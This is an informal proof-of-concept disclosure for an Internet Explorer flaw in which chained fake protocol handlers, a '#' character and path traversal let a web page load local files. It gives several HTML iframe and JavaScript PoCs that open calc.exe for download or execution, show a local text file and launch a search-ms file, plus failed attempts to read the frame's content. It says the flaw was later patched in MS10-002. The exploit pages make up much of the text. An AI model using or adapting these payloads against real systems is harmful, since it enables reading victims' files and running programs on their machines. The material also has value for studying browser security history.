#######################
Sample code and PoC�s
#######################
This Vulnerability is bassed in the way
that Internet explorer validate Uri handlers
and the special chart '#'
for testing and undestanding first open internet explorer
and write in teh address bar a fake handler like `handler:'
it cause that IE shows 'res://ieframe.dll/unknownprotocol.htm'
internal page , because the protocol is unknow.
if we do => handler:http://[some-host]' Ie wait to open
the host, but don�t show any error or unknow protocol
error page.
If we Write at the adrress bar 'handler:handler2:'
IE shows again 'res://ieframe.dll/unknownprotocol.htm' page.
But if we concatenate two unknow protocol handlers and
use the special char '#' like 'handler:handler#:'
internet explorer shows a alert warning
with 'internet explorer can�t find file:///'
With this convination IE use file: protocol handler.
With this alert we can think... if we concatenate two handlers and #
char and a file path we can access to files on the hard disk.
"handler:handler#:c:\windows\calc.exe'
But we get again 'internet explorer can�t find the file'
Them we look for trasversal file access like
handler:handler#:../../../../C:\windows/calc.exe�
Them Ie promp us to download or execute the file.
we have bypass the restrictions!!!
so we are working in the address bar
Can a web page use this issue to make the same and ask
for download it ? YES
we can construct a web page with a iframe like:
############# PoC one #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>
################# EOF #################
If we open it via local folder, or via local server or
lan server or remote server, in all cases iE ask for download
them we can access any file in the hard disk so
can we execute or read the content of a file ?? YES
if we know a txt file path we can do similar
( put a txt file in c: root and wite some content it)
and them :
############## PoC Two #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>
############# EOF #################
wen we open this Poc , it read the content from our_txtfile.txt
and show it in the frame.
we can execute files ?? YES
we can execute a html file or xml file or search-ms files
from hard disk for example:
############# PoC Tree ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>
############### EOF ###########
if we look it executes Explorer with a local search :D
can we read the content of any file and upload it to a server or
manage the content ??
i don�t have found a way to do it
all times internet explorer denies the access to the content from
iframe.
############# PoC four ##############
<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);
content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>
<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>
</body>
</html>
##################### EOF #############################
it give a access deniet error
if we look to use XMLHttpRequest()
it does not work again and access is denied:
########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(�GET�,
�handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms�,
true);
req.send(�);
############ EOF #############
if we use it as a activex it
shows again a access denied :P
############### PoC six #############
<html><body><div>
<script>
function getHTTPObject()
{
if (typeof XMLHttpRequest != 'undefined')
{
return new XMLHttpRequest();
}
try {
return new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
return false;
}
x = getHTTPObject();
x.open("GET","shit:shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms",false);
x.send(null);
alert(x.responseText);
</script>
</div></body></html>
################ EOF ######################
Them we can think that we can read txt files , execute html,xml
search-ms files , and download and execute Binaries files from the
victims hard disk , only with view a crafted web page.
Microsoft has pached it and has release a secutiry bulletin
that solve this issue see
http://www.microsoft.com/technet/security/Bulletin/ms10-002.mspx
and

for details and for download the security update that solve this
issue and seven vulnerabilities more.
